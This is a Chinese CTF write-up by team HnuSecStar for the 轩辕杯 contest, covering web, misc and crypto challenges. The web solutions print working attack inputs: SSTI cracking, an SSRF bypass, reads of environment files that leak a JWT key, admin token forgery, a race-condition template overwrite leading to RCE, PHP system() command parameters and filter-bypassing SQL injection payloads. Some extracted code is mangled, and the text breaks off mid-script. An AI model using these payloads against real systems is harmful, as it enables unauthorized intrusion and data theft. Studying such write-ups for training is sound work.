本次轩辕杯队伍排名情况如下,我们HnuSecStar排名第六

WEB

ezflask

直接fenjing梭哈了

python -m fenjing crack --url '27.25.151.26:31121' --detect-mode fast --inputs name --method GET

执行命令,nl /flag

img

ezssrf1.0

?url=http:/@127.0.0.1/flag
img

访问目标 url

img

非预期

非预期做法

路径扫描可以发现目录下有个/flag

img

访问后自动下载,

img

访问拿到flag:flag{3b9b4ae5-9d1d-49be-a6f3-a2152b8a6df4}

ezjs

js源码核心逻辑如下

game._addSuccessFn(function (scoreNow) {
    current_score.innerHTML = scoreNow
    if (scoreNow === 100000000000) {
        fetch('getflag.php', {
            method: 'POST',
            headers: {
                'Content-Type''application/x-www-form-urlencoded',
            },
            body: 'score=' + scoreNow
        })
        .then(response => response.text())
        .then(data => {
            alert('恭喜你!flag是:' + data);
        })
        .catch(error => {
            console.error('错误:', error);
        });
    }
})

观察到最后的分数是发POST请求到后端,所以我们直接伪造请求包就行了

img

ez_web1

首页读取文章的地方存在任意文件读取

直接非预期读取/proc/1/environ,这里的环境变量没清除

img

预期解

读取/app/app.py源代码

from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt

app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233''123456789'}


def generate_token(username):
    payload = {
        'username': username
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token


def decode_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload
    except jwt.ExpiredSignatureError:
        returnNone
    except jwt.InvalidTokenError:
        returnNone


@app.route('/')
def index():
    token = request.cookies.get('token')
    ifnot token:
        return redirect('/login')
    payload = decode_token(token)
    ifnot payload:
        return redirect('/login')
    username = payload['username']
    books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
    return render_template('./index.html', username=username, books=books)


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':

        return render_template('./login.html')
    elif request.method == 'POST':

        username = request.form.get('username')
        password = request.form.get('password')

        if username in users and users[username] == password:
            token = generate_token(username)
            response = make_response(jsonify({
                'message''success'
            }), 200)

            response.set_cookie('token', token, httponly=True, path='/')
            return response
        else:

            return {'message''Invalid username oindex.htmlr password'}


@app.route('/read', methods=['POST'])
def read_book():
    token = request.cookies.get('token')
    ifnot token:
        return redirect('/login')
    payload = decode_token(token)
    ifnot payload:
        return redirect('/login')
    book_path = request.form.get('book_path')
    full_path = os.path.join(book_dir, book_path)
    try:
        with open(full_path, 'r', encoding='utf-8'as file:
            content = file.read()
        return render_template('reading.html', content=content)
    except FileNotFoundError:
        return'文件未找到'404
    except Exception as e:
        returnf'发生错误: {str(e)}'500


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    ifnot token:
        return redirect('/login')
    payload = decode_token(token)
    ifnot payload:
        return redirect('/login')
    if request.method == 'GET':
        return render_template('./upload.html')
    if payload.get('username') != 'admin':
        return'''
        <script>
            alert('只有管理员才有添加图书的权限');
            window.location.href = '/';
        </script>
        '''

    file = request.files['file']
    if file:
        book_path = request.form.get('book_path')
        file_path = os.path.join(book_path, file.filename)
        ifnot os.path.exists(book_path):
            return'文件夹不存在'400
        file.save(file_path)

        with open(file_path, 'r', encoding='utf-8'as f:
            content = f.read()
            pattern = r'[{}<>_%]'

            if re.search(pattern, content):
                os.remove(file_path)
                return'''
                <script>
                    alert('SSTI,想的美!');
                    window.location.href = '/';
                </script>
                '''

        return redirect(url_for('index'))
    return'未选择文件'400

找到用户认证的逻辑是通过cookie里的token来jwt-decode来处理

然后读取环境变量/proc/self/environ得到SECRET_KEY=th1s_1s_k3y

得到伪造admin的token

img

这下可以任意上传文件了

观察上传部分的源代码,因为先save了文件再删除文件,可以使用条件竞争绕过waf

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    ifnot token:
        return redirect('/login')
    payload = decode_token(token)
    ifnot payload:
        return redirect('/login')
    if request.method == 'GET':
        return render_template('./upload.html')
    if payload.get('username') != 'admin':
        return'''
        <script>
            alert('只有管理员才有添加图书的权限');
            window.location.href = '/';
        </script>
        '''

    file = request.files['file']
    if file:
        book_path = request.form.get('book_path')
        file_path = os.path.join(book_path, file.filename)
        ifnot os.path.exists(book_path):
            return'文件夹不存在'400
        file.save(file_path)

        with open(file_path, 'r', encoding='utf-8'as f:
            content = f.read()
            pattern = r'[{}<>_%]'

            if re.search(pattern, content):
                os.remove(file_path)
                return'''
                <script>
                    alert('SSTI,想的美!');
                    window.location.href = '/';
                </script>
                '''

        return redirect(url_for('index'))
    return'未选择文件'400
img

直接尝试覆盖reading.html文件以至于访问任意一个文件时都造成ssti注入

推测reading.html地址是../templates/reading.html,条件竞争爆破,两种覆盖方法

img
img

然后就条件竞争一直发这个包就行

覆盖成功,直接rce

img

签到

img

下一关:l23evel4.php

img

下一关levelThree.php

img

下一关level444Four.php

img

下一关level4545Five.php

img

函数放在控制台执行即可,下一关zzpufinish.php

拿到flag:flag{8ffe65a6-6cc2-49bf-ab11-e480bbc236a8}

ezrce

这道题的最后一个waf比较麻烦

(函数名) 在php里是声明为全局函数的意思

还有一个解法是用readgzfile函数(不展示了)

http://27.25.151.26:31030/?num=11111

POST
new=system&star=ls
new=system&star=ls /
new=system&star=nl /flag
img

ezsql1.0

这道题没有闭合,然后就正常注入发现过滤空格,测试回显位的时候发现下面的payload

-1/**/UNION/**/select/**/1,2,3

没回显

经过测试知道select被替换成了空,所以双写绕过,开始注入

流程如下

id=-1/**/UNION/**/selselectect/**/1,2,group_concat(schema_name)/**/from/**/information_schema.schemata
img

这里查xuanyuanCTF,ctf里藏了个假的flag,然后就是正常流程

id=-1/**/UNION/**/selselectect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='xuanyuanCTF'

id=-1/**/UNION/**/selselectect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='xuanyuanCTF'
img
img

最后就是

?id=-1/**/UNION/**/selselectect/**/1,2,content/**/from/**/xuanyuanCTF.info
img

base64解码就行了

img

这道题还能写文件直接rce,但是这里我没进行尝试,有兴趣的可以试试

Misc

Terminal Hacker

第一种解法,

按照渗透的流程思路

img

按照命令执行就行

第二种解法

就是PY逆向思路

https://github.com/extremecoders-re/pyinstxtractor

先把 exe,解包一下

python pyinstxtractor.py .HackMe.exe
img

得到解包后的文件夹

Py 反编译一下 1.pyc

#!/usr/bin/env python
visit https:///pyc/ for more information
Version: Python 3.10
import sys
flag = 'flag{Cysay_terminal_game_hacked_successfully}'
def print_intro():
    print('欢迎来到《终端入侵者》!')
    print('你是一名受雇的渗透专家,接到任务潜入一个神秘组织的服务器。')
    print('你已进入该组织的外围系统,下一步需要靠你的技术深入核心...')
    print('输入 help 查看可用命令。')
    print('你的任务是:在完成任务之前,不能直接获取隐藏的 flag。')
def show_help():
    print('可用命令:')
    print('  help       - 显示帮助信息')
    print('  scan       - 扫描当前网络环境')
    print('  connect    - 连接到目标主机')
    print('  exploit    - 利用系统漏洞')
    print('  get_flag   - 获取隐藏文件中的数据 (需要完成所有步骤)')
    print('  exit       - 退出系统')
def scan_network():
    print('正在扫描网络...')
    print('发现主机:192.168.56.66:22')
    print('备注:该主机运行着疑似存在漏洞的远程服务')
def connect_host():
    print('尝试连接 192.168.56.66:22 ...')
    print('连接成功!欢迎来到远程主机。')
    print('系统提示:发现可疑组件,可能存在提权漏洞。')
    print('提示:你需要探索更多信息,才能进一步利用漏洞。')
def exploit_system():
    print('尝试利用系统漏洞进行提权...')
    print('提权成功!已获得 root 权限。')
    print('你发现了一个隐藏文件:/home/root/secret.flag.enc')
    print('提示:你需要先解密隐藏文件中的内容,才能拿到 flag。')
def decrypt_file():
    print('你发现文件是加密的。你需要找到解密的线索。')
    print('根据提示,可能需要查找某个日志文件来获得解密密钥。')
def find_key():
    print('你在 /var/log 目录下找到了一些日志文件。')
    print('其中一个文件包含了密钥:'key=SuperSecretKey'')
    print('提示:现在可以尝试使用密钥解密隐藏的文件。')
def get_flag():
    print('尝试读取 /home/root/secret.flag.enc ...')
    print('你使用密钥解密文件,成功获得 flag:')
    print(f'''{flag}''')
def main():
    print_intro()
    steps_completed = {
        'scanned'False,
        'connected'False,
        'exploited'False,
        'key_found'False }
WARNING: Decompyle incomplete
if
name
 == '
__main__
'
:
    main()
    returnNone

直接得到 flag

音频的秘密

听音频是莫斯密码,哎我去,又拿到假flag

img

发现是音频隐写

img

一个石敢当压缩包

img

跟瓦学弟那题一样,设置000,发现编码过的信息

img

根据我们发现的key,尝试维吉尼亚密码解密

img
flag{No_AAAA_BBBB_30ao6@_cccyyy_f0k_Y01_1}

隐藏的秘密

进来搜索搜到一个假的

img

word题直接解压缩

img

Cyyyy.xml,不是常规应该有的

发现16进制数据

04 303414022 F9 79 F9 79 B4 7979797943
79794794317979 E0 4379 B5 7979 BC 79
527979684795214352 E0 795287952
8679167979244321792C DA 792C B5
79168679 F9 7943 F9 479 F9 2579 F9 E0 79
C3 B5 79 F9 8643 D3 7979 D3 7079 D3 179 E9
E0 79 D3 B5 43 D3 8679 AC 4379 AC 479961F
79 AC E0 43 AC B5 79 AC BC 79867979 BC 479
8614386 E0 7986879868644379479
470791479 DA 479 B5 4438645279
7052445225452 E0 468 B5 4528670
2794270421416 E0 42C B5 702C
864A F9 434A F9 44A C3 14A F9 E0 70 F9 B5
4A F9 BC 4A D3 794A E9 44A D3 170 D3 E0 4A
D3 84A D3 86496794A AC 470 AC 14A AC
DA 4A AC B5 49686486797086448625
486 E0 4A BC B5 48686257979179701F
791143 E0 179 B5 25798615243152
41681152 E0 2552 B5 152 BC 1279
1164121252C E0 12812861F
C3 791F F9 425 F9 11F F9 DA 1F F9 B5 1F C3
861F D3 7925 D3 41F D3 251F D3 E0 1F E9 B5
1F D3 8625 AC 791F AC 701F AC 1196 E0 1F
AC B5 25 AC 861864318641F BC 1186
E0 2586 B5 186 BC E0 7979 E0 434A E0 791F
DA 79 E0 E0 798F E0 7986 E0 6879 E0 524A DA
521F E0 52 DA E0 52 B5 E0 6886 E0 279 DA 2C
4A E0 225 E0 2C E0 E0 16 B5 E0 286 DA F9 79
E0 F9 70 E0 F9 1F E0 C3 E0 E0 F9 B5 DA F9 86 E0
D3 43 E0 D3 4A E0 E9 1F E0 D3 E0 DA D3 B5 E0 D3
BC E0 AC 79 E0 964A E0 AC 1F DA AC E0 E0 AC 8F
E0 AC 86 E0 BC 79 E0 864A DA 861F E0 86 DA E0
86 B5 E0 BC 86 B5 79798794A B5 7925 B5 79
E0 B5 43 B5 B5 798685279 B5 5270 B5 521F
B5 68 E0 B5 52 B5 85286 B5 243 B5 24A B5
161F B5 2C E0 82C B5 B5 2C BC B5 F9 79 B5 C3
4A B5 F9 18F F9 E0 B5 F9 8F B5 F9 86 B5 E9 79
B5 D3 48F D3 1F B5 D3 DA B5 D3 B5 B5 E9 86 B5
AC 798F AC 4A B5 AC 25 B5 AC E0 B5 96 B5 B5 AC
8688679 B5 8670 B5 861F B5 BC E0 B5 86 B5
8868686794386794864318679 E0 BC
79 B5 8679 BC 8652798668486521F BC 52
E0 865288652868616798624A BC 21F
862C DA 862C B5 86168686 F9 79 BC F9 486
F9 2586 F9 E0 86 C3 B5 86 F9 86 BC D3 7986 D3
7086 D3 186 E9 E0 86 D3 B5 BC D3 8686 AC 43
86 AC 48696186 AC E0 BC AC B5 86 AC BC 86
867986 BC 486861F BC 86 E0 868688686
8679437979797943797979794358807D
78437985795543797979 F9 43 F9 797971
BC 7978717D F3 D6 99 C7 F8 4774540133
59 BA FC 7353681292138 F1 65475 DD
41481805 F7 66441757 F0 0813C D3 542
E7 5D EA C8 DD B2 EF 7328 C7 ED 60 D0 5C B4 E2
430 D7 A5 D0 CB 2431 E7 4604 E5 75330D D1
92 E0 43 FC 54603 CD 5F AA E6 33 E4 731C F9
6582B D2 1B CA DB 05 D3 D2 13 BE D2 256F
D4 E3 EC EF AF CA 5B C0 2D E4 83 CC 517 C8 3F
B4 23 D6 F2 652 A5 E1 5C C4 FF 7D C8 817 A5
CF 3578 AE 7475 B4 D4 A1 C5 FB A6 AB 54026E
B2 A1 D1 1288 C5 6490 A1 9622 CE 08429D
452014 AB FE 24546E BF CF 2091 BE D1 5A
494 E2 1B CD 1C C7 10E D2 9F B5 033794 AC
02488 B7 1482 CA 2D B3 FA 60 DE 4D D7 84B
37 EE C2 F2 96776658199C D3 149795
D9 009091 B6 982745 E2 F9 1192 AB FE 24
86314456494 CD FB B6 54 FE C4 C7 40 BB 8F
A4 D6 169497 A5 4289 A0 E0 90 E6 3784 CF
1E BA C9 DC 9E A7 103C F8 32100 B3 E0 166
0645 FF 21900 A0 3871270794C EE 2506
49 D3 BF 64165137919904756119 FC 8F
F8 9158 FA EC 20 F1 98 FC 493867 FF 6407
711A F1 B9 E8 EF D8 16687 FF 190D DD E0 91
5902928 D1 5A F6 07 EB EE 104 F4 64405D
177E AF 211B E9 023 CE 1D EA 8056158 F3
6B F7 0166 FE 093B F0 E7 016413 D0 9C EC 11
D7 A1 A3 05467 E0 9C E0 18 BB CF 5F E1 B2 A4
D1 DF F3 673 F1 E6 0578 AF F0 1F E2 224330
650421 B7 0199 E1 409B C0 E6 E9 D6 7C A3 A2
E2 1861351 F8 3013 B1 DF F6 C4 A7 509E FB
26 EB DE 11 FE 543 B3 5C F4 25335E E6 D5
4935B D1 CE 2F AE DE E7 DF C3 4093 D0 D1 CB
8633 D0 EB FA A3 0010 EE 43543 D0 E3 06 B3
1392 C5 C3 EB 815C E4 62 CB F1 9D F3 E7 BB 83
1A E5 BE D3 9E DC F1 7989393 C2 AA 7712 E1
EA 1573293 EE E6 EF 739027 A1 CB D3 54 DA
36 FF 13 D0 F1 E2 12051 F1 B6 33 C2 97 FB 4F
83 E1 D5 E9 9E C3 3294 E8 94576356 E3 80 CF
8357 E9 399322 D6 E5 84 DF B2 15837643 C2
DE F9 750589 FD 307629E FF 933 A5 92
F2 5B E3 C0 89 F9 68202168073950480
48755D F9 63166297 C0 BF EB 02488962
027182C AC 7B F2 13859F B3 C1 98573E
41 CA 89C DF 61928B D2 CB 8552 EC E2 6F E2
8B F6 CD CB E2 CA FF C2 73 A5 10 D2 B4 A3 DE CD
973066644A CD 3434253889930196
48 EF 148911 DE D4 89915 CE 9489809
BE 54890D C2 44490289F B4 CC 90E FA
869274 A6 29A C4 B4 99047272699066A
F7 FB 983557 D7 BB 98 E9 477 E4 CC 30244
72 C6 40 AE 65 F6 B3 811B C4 77 B9 7646 F3 68
9E DA 3A C4 F6 9C B2 F3 47369F E4 682 BA A9
E8 9345 E6 B2 32825 BA ED 79E A3 B6 E9 CF
B2 F5 F8 B1 C6 1672 DE AD AC 8385 F8 CF D1 3E
526F A1 CE 9577B DA 58 BE E1 BF 97 E7 3667
71 A9 56 A2 E2 7996601268F BF 636 FE
92 AF 22 A5 31867161639 D3 E8 0636 AC 8F
A9 50738E BA 6254 FD CE EE CE A6 EC 8B B9
C6 B6 BF 91 FB E2 26 F4 059A C7 9C BE 72 F9 8B
AA DD 86D F1 C7 995C D7 1726382289737E
8271 A3 14 FB D2 D2 D9 9599 C5 B8 75 DB F6 3C
46866 BE F1 74383 C4 81033989649
FF 4087A B5 46 C5 C2 DA AF 21 E1 4254336
FF 4250 D8 70527F F8 68 AF 690C DD 53 A7 81
782586 CC BA 70 BD D6 1D CF DB DE 77 AC AE B8
607F C8 1118 F8 618B EF 81078530 C8 FD 50
E3 A7 7C B2 C4 39 A6 60 C9 C4 697D E6 7C F0 31
BC 509332888149 DA 3144835 E8 F5
BB BB DA 6854 DF 3D BE A4 F6 F0 40376764 BE
781583 C9 0639 F5 2645C F4 BF A9 0836
C6 96597984 DF B1 4D B3 6D FD 08955953
3051 B1 AF 5649 FC EB E5 677676 C0 CB 0803
4B EA E2 A7 268111 FF 00821C AB F0 46329C
6430 F5 BB 47 FF AB 3F E2 CA 206844 B0 3F F1
68 EE 007 E5 55C C8 F1 4995268 F6 BB DA
19554 D0 4468942816 DA D7 5596118F
33581465 E3 5B E2 8A B0 730A D6 DC
15948 E8 8035 C8 6C D0 EB 5195 A4 6204 E0
CB 18 C1 F5 EE 765 E4 53346042147F AA 2E
6739566828897 A4 C9 18 B6 0A DD 7960
3344097 F0 E5 07 DB 5984973745
CD E6 BB 32B BD 7393 B6 C0 BF 4A E5 7089A
54 C0 D0 82 F3 238D DB 5B B4 D1 3489 A8 F7
036678787942

xor一下,使用这个文件名会发现出现图片格式

img
img

二维码

img

哇哇哇瓦

img

分离出来,hint.txt

密码是场上存活的两位英雄的英文名字连起来(区分大小写)
什么?你不知道密码在哪用?!那我问你,隐写都知道,明写看不见?拿你瞄准时的眼力仔细观察观察图片中的角落吧

--->我是瓦高手
GekkoYoru
img

只有一半flag

右下角有东西

提取RGB

from PIL import Image
import os

def extract_rgb_to_hex_reverse(image_path, output_path):
    # 打开图像并转换为 RGB 模式
    img = Image.open(image_path).convert('RGB')
    
    # 提取所有像素的 RGB 值
    pixels = list(img.getdata())
    
    # 转换为十六进制字符串并逆序
    hex_colors = ['{:02x}{:02x}{:02x}'.format(r, g, b) for r, g, b in pixels]
    hex_colors.reverse()

    # 写入文本文件
    with open(output_path, 'w'as f:
        for hex_color in hex_colors:
            f.write(hex_color + 'n')

    print(f'[+] 十六进制数据已保存到: {output_path}')

# 示例用法
if __name__ == '__main__':
    extract_rgb_to_hex_reverse('瓦学弟天天开心.png''rgb_hex_data.txt')
img

数据整合成压缩包,利用密码解码

best_FPS_g@me!!}
img

只有一半flag

拼在一起

flag{Val0rant_1s_th3_best_FPS_g@me!!}

Cry

dp

出题人说dp都不会打什么密码?
n = 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751 
dp = 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925 
c = 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126 
e = 65537

dp泄露模板梭了

img

flag:flag{C5G0_1s_the_8eSt_FPS_G@m3}

ezRSA

from sympy import factorint, mod_inverse

# 参数
e = 65537
n = 1000000000000000000000000000156000000000000000000000000005643
c = 418535905348643941073541505434424306523376401168593325605206

# 分解 n
factors = factorint(n)
print('[*] 分解结果:', factors)

# 检查是否只分解成两个素数
if len(factors) == 2:
    p, q = list(factors.keys())
    phi = (p - 1) * (q - 1)
    d = mod_inverse(e, phi)
    m = pow(c, d, n)
    print('[*] 明文 m:', m)
    try:
        print('[*] 解码:', bytes.fromhex(hex(m)[2:]).decode())
    except:
        print('[*] 无法直接转成字符串')
else:
    print('[!] n 并不是两个素数的乘积')
img

简单编码

c='ABBAABB ABBABAB ABABAAA ABABAAB ABBBBAA ABBAABA ABABBAA ABBAAAA ABBAAAB ABBABAB ABBBAAA ABAABBB ABABBAA ABABABB ABABBAA ABBABBB ABBABAA ABABABA ABAABAB ABBBAAA ABBBABA ABABBAB ABBBBAA ABABBAB ABBBAAA ABBABAB ABBAABA ABABAAA ABABABA AABBAB ABBBABB ABBAABA ABBABAB AABABA ABBBBAA ABBBAAB ABBAABA AABBAB ABABBAA ABBAAAB ABBBAAA ABBABAB ABBABAA ABABABB ABBBABA ABABABB ABBAABB ABBABAA ABBABAB ABBABAB ABABAAA ABBBABA AABABB ABABBAB AABBAB ABABAAA ABBAAAB ABBBBAB ABBBAAA ABABABA ABBAAAA ABABAAB ABABABB ABBABBA ABBABAB AABABA ABBABAA ABBBABA ABBBABA AABBAA ABBBBAA ABBAAAA ABABBBB ABBABAB ABABABB ABAABBB ABBAAAA ABABAAA ABABABB ABBABAA ABBABBA ABABABA ABAABAB ABABABA AABABB ABABBAB ABBBBAA ABBBBAB ABBBAAA ABABAAB ABBABBB ABABAAB ABBAAAA ABAABAB ABBBABB ABBABAA ABBABAB ABABABA ABAABAB ABBBABA ABBAABA AABBAB ABABBAA ABAABAB ABBBAAA ABBABAB ABBBABA ABAABBB ABABBBA ABABABB ABABBAA ABBABBB ABBABAA ABAABAB ABABABA ABBBAAB ABABBAA ABBAABA ABABBAA ABAABAB ABBBAAA ABBABAB ABBABBB ABBBABB ABBBABA ABABBAA ABBABAB ABABABA ABBAABA ABAABAB ABBAABA ABBABBB ABBBAAA ABBAABA ABBBBAA ABBAAAA ABBABAA ABABBAB ABBABAA ABAABBB ABABABA ABABABB ABABABB AABBAB ABBAAAB ABBBBAB ABABABA ABBBABA AABBAB ABABABA ABBABAB ABBBAAB ABBBAAA ABBAAAB ABBBBAA ABBBBAA ABBABAA ABBAABA AABBAB ABBBABA'
# 拆分二进制串

c=c.replace('A','1')
c=c.replace('B','0')
bl=c.split()
bits = []
for b in bl:
    bits.append(int(b, 2))
encoded=bytes(bits).decode()
print(encoded)
# 二进制转 ASCII 字符

结果如下

LJWVCMSONJGXSTSHKUZGERCRGJMWU2DMJ5CFM2SNGJKTETLKJJWE4R2WNBGUOVTIJ5KEE3COPJTXOWTKIUZU4RCBGVHVOZDKJUZEM2SZGJEXQTSHKZUFSMSZGJHDESJUMZMHGMCOKRKXUTT2NBUE2UJFGNCCKM2E


----> 
ZmQ2NjMyNGU2bDQ2YjhlODVjM2U2MjJlNGVhMGVhOTBlNzgwZjE3NDA5OWdjM2FjY2IxNGVhY2Y2N2I4fXs0NTUzNzhhMQ%3D%3D

简单编码,base32解出的结果先把最后的两个%3d改成等号再base64解

img

栅栏解密

img
flag{c04d6e34aab689c5c0e68eb51753c843e032efa7c16427f8642ee07ab946e981}

古典密码

题目给了示例的古典密码,并且给了4个密钥,这里正序尝试不对,倒序尝试,找到了解密顺序

首先斯巴达木卷解密俩次

def decrypt(ciphertext: str, num_columns: int) -> str:

    num_rows = (len(ciphertext) + num_columns - 1) // num_columns

    # 初始化矩阵,先用空格填充
    grid = [[' 'for _ in range(num_columns)] for _ in range(num_rows)]

    index = 0
    # 按列优先顺序填充密文字符
    for col in range(num_columns):
        for row in range(num_rows):
            if index < len(ciphertext):
                grid[row][col] = ciphertext[index]
                index += 1

    # 按行优先顺序读取矩阵
    plaintext = ''
    for row in range(num_rows):
        for col in range(num_columns):
            plaintext += grid[row][col]

    return plaintext.rstrip()

decrypted_text = decrypt('ntid c{}rShcljrko od lc WYicO',5)
print(decrypted_text)
decrypted_text = decrypt(decrypted_text,4)
print(decrypted_text)
img

接着通过维吉尼亚解密

img

接着是仿射密码解密

img

然后是单表替换,这里大小写没转换成功,手动转一下结果

img

结果看起来很像凯撒,直接凯撒解密

img

flag{nxtcNBflagNBctfflag}

babyrsa

分析代码,发现生成的素数p+1光滑,用Williams的p+1算法分解得到p1,q1

from Cryptodome.Util.number import *
from gmpy2 import *
from itertools import count

n = 151767047787614712083974720416865469041528766980347881592164779139223941980832935534609228636599644744364450753148219193621511377088383418096756216139022880709
e = 65537
c = 26971181342240802276810747395669930355754928952080329914687241779532014305320191048439959934699795162709365987652696472998140484810728817991804469778237933925

def mlucas(v, a, n):
    v1, v2 = v, (v ** 2 - 2) % n
    for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == '0'else (
        (v1 * v2 - v) % n, (v2 ** 2 - 2) % n)
    return v1

def primegen():
    yield2
    yield3
    yield5
    yield7
    yield11
    yield13
    ps = primegen()  # yay recursion
    p = ps.__next__() and ps.__next__()
    q, sieve, n = p ** 2, {}, 13
    whileTrue:
        if n notin sieve:
            if n < q:
                yield n
            else:
                next, step = q + 2 * p, 2 * p
                while next in sieve:
                    next += step
                sieve[next] = step
                p = ps.__next__()
                q = p ** 2
        else:
            step = sieve.pop(n)
            next = n + step
            while next in sieve:
                next += step
            sieve[next] = step
        n += 2

def ilog(x, b):# greatest integer l such that b**l <= x.
    l = 0
    while x >= b:
        x /= b
        l += 1
    return l

def attack(n):
    for v in count(1):
        for p in primegen():
            e = ilog(isqrt(n), p)
            if e == 0:
                break
            for _ in range(e):
                v = mlucas(v, p, n)
            g = gcd(v - 2, n)
            if1 < g < n:
                return int(g), int(n // g)  # g|n
            if g == n:
                break

p1, q1 = attack(n)
print(p1)
print(q1)

然后求e打boneh-durfee即可

p1=647625598040937990477179775340017395831855498212348808173836982264933068647233
q1=234343806431846981391062476356400447729334179333927516463017977438646752515331973
c1 = 6701513605196718137208327145211106525052740242222174201768345944717813148931922063338128366155730924516887607710111701686062781667128443135522927486682574
e=c1-p1
print(e)
n = 10037257627154486608196774801095855162090578704439233219876490744017222686494761706171113312036056644757212254824459536550416291797454693336043852190135363
c = 6723803125309437675713195914771839852631361554645954138639198200804046718848872479140347495288135138109762940384847808522874831433140182790750890982139835
from __future__ import print_function
import time

############################################
# Config
##########################################

'''
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
'''

debug = True

'''
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
'''

strict = False

'''
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
'''

helpful_only = True
dimension_min = 7# stop removing if lattice reaches that dimension


############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] >= modulus:
            nothelpful += 1

    print(nothelpful, '/', BB.dimensions()[0], ' vectors are not helpful')


# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0'if BB[ii, jj] == 0else'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)


# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1-1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print('* removing unhelpful vector', ii)
轩辕杯 WriteUp By HnuSecStar
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
                        bound - BB[ii, ii]):
                    print('* removing unhelpful vectors', ii, 'and', affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB


''' 
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
'''



def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    '''
    Boneh and Durfee revisited by Herrmann and May

    finds a solution if:
    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
    '''


    # substitution (Herrman and May)
    PR.<u,x,y> = PolynomialRing(ZZ)
    Q = PR.quotient(x * y + 1 - u)  # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX * YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial notin monomials:
                monomials.append(monomial)
    monomials.sort()

    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift)  # substitution

    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            monomials.append(u ^ kk * y ^ jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](000)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print('failure')
